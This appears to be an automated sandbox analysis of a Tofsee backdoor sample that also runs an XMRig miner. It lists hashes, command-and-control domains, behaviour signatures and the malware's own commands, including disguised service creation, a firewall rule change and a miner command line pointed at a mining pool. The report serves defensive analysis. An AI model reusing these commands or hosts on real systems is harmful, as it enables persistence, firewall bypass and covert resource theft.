Analysis

  • max time kernel
    150s
  • max time network
    158s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    01-05-2023 15:41

General

  • Target

    file.exe

  • Size

    303KB

  • MD5

    531df55984e2b66ad9f0dbd639de601e

  • SHA1

    dc9d0df60d45c19e668e99a39946d1d39a5d9a09

  • SHA256

    e3ffa663eeaa0eeda2b5cb06d094cb847f6520df57385c5d7fe5e49d01c99c8f

  • SHA512

    1a2029171755e8c7f4f374af5544eef317a0d1635272991b7535f4406a99b4ef5d70985602fd85c8b9eb40de2215c81be496157821f78a013cea74ad2848e72b

  • SSDEEP

    3072:MuFL7HO/Wc2L/rIUpqfM/FqdAt/XOM5TJDTnmhd+:xFL7HQ2LrI7fg2AtXJnmv+

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:924
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\urdkcyri\
      2⤵
        PID:1128
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xaxqhjdt.exe" C:\Windows\SysWOW64\urdkcyri\
        2⤵
          PID:2044
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create urdkcyri binPath= "C:\Windows\SysWOW64\urdkcyri\xaxqhjdt.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1972
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description urdkcyri "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:520
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start urdkcyri
          2⤵
          • Launches sc.exe
          PID:1160
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1768
      • C:\Windows\SysWOW64\urdkcyri\xaxqhjdt.exe
        C:\Windows\SysWOW64\urdkcyri\xaxqhjdt.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:816
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1668
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe --algo=cn-heavy/xhv -o fastpool.xyz:10162 -u abLocBRHmSKSwfZexhaPDFFpUd1Szsp1RWPZktGDuK2w76S3KYNSLGndi55YtoHoKYbSFMCCWjxzTfwHxZSm7sNLe2rAq4DqbAF.70000 -p x -k
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1712

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\xaxqhjdt.exe

        Filesize

        14.7MB

        MD5

        5c63b3e51fde617bc9ff77f69a378bea

        SHA1

        4481616106765202c04cce98ff37320d4a5bd2d4

        SHA256

        e54a928c530e05875b3477f704cef663bb4d0a61171cb93d7ed1aed1951bb819

        SHA512

        de7983a04f2fd46ed0b4a1ecb1e9a312b686ab73730ecc07be3df68a5b13bbed2e247894586ab5b9d464486035a7dbee8989633a25d49c35e9d2ede02e29d7db

      • C:\Windows\SysWOW64\urdkcyri\xaxqhjdt.exe

        Filesize

        14.7MB

        MD5

        5c63b3e51fde617bc9ff77f69a378bea

        SHA1

        4481616106765202c04cce98ff37320d4a5bd2d4

        SHA256

        e54a928c530e05875b3477f704cef663bb4d0a61171cb93d7ed1aed1951bb819

        SHA512

        de7983a04f2fd46ed0b4a1ecb1e9a312b686ab73730ecc07be3df68a5b13bbed2e247894586ab5b9d464486035a7dbee8989633a25d49c35e9d2ede02e29d7db

      • memory/816-66-0x0000000000400000-0x0000000000A5C000-memory.dmp

        Filesize

        6.4MB

      • memory/924-58-0x0000000000400000-0x0000000000A5C000-memory.dmp

        Filesize

        6.4MB

      • memory/924-59-0x0000000000400000-0x0000000000A5C000-memory.dmp

        Filesize

        6.4MB

      • memory/924-56-0x00000000002A0000-0x00000000002B3000-memory.dmp

        Filesize

        76KB

      • memory/1668-88-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-93-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-63-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/1668-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1668-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1668-70-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1668-72-0x0000000001A50000-0x0000000001C5F000-memory.dmp

        Filesize

        2.1MB

      • memory/1668-76-0x00000000000A0000-0x00000000000A6000-memory.dmp

        Filesize

        24KB

      • memory/1668-75-0x0000000001A50000-0x0000000001C5F000-memory.dmp

        Filesize

        2.1MB

      • memory/1668-79-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-82-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1668-83-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-84-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-85-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-86-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-87-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-64-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1668-89-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-90-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-91-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-92-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-62-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1668-94-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-95-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-96-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-97-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-98-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-99-0x00000000000B0000-0x00000000000C0000-memory.dmp

        Filesize

        64KB

      • memory/1668-100-0x0000000000140000-0x0000000000145000-memory.dmp

        Filesize

        20KB

      • memory/1668-103-0x0000000000140000-0x0000000000145000-memory.dmp

        Filesize

        20KB

      • memory/1668-104-0x0000000005560000-0x000000000596B000-memory.dmp

        Filesize

        4.0MB

      • memory/1668-107-0x0000000005560000-0x000000000596B000-memory.dmp

        Filesize

        4.0MB

      • memory/1668-108-0x00000000001B0000-0x00000000001B7000-memory.dmp

        Filesize

        28KB

      • memory/1712-112-0x0000000000160000-0x0000000000251000-memory.dmp

        Filesize

        964KB

      • memory/1712-113-0x0000000000160000-0x0000000000251000-memory.dmp

        Filesize

        964KB

      • memory/1712-120-0x0000000000160000-0x0000000000251000-memory.dmp

        Filesize

        964KB

      • memory/1712-121-0x0000000000160000-0x0000000000251000-memory.dmp

        Filesize

        964KB

      • memory/1712-122-0x0000000000160000-0x0000000000251000-memory.dmp

        Filesize

        964KB

      • memory/1712-123-0x0000000000160000-0x0000000000251000-memory.dmp

        Filesize

        964KB

      • memory/1712-124-0x0000000000160000-0x0000000000251000-memory.dmp

        Filesize

        964KB

      • memory/1712-125-0x0000000000160000-0x0000000000251000-memory.dmp

        Filesize

        964KB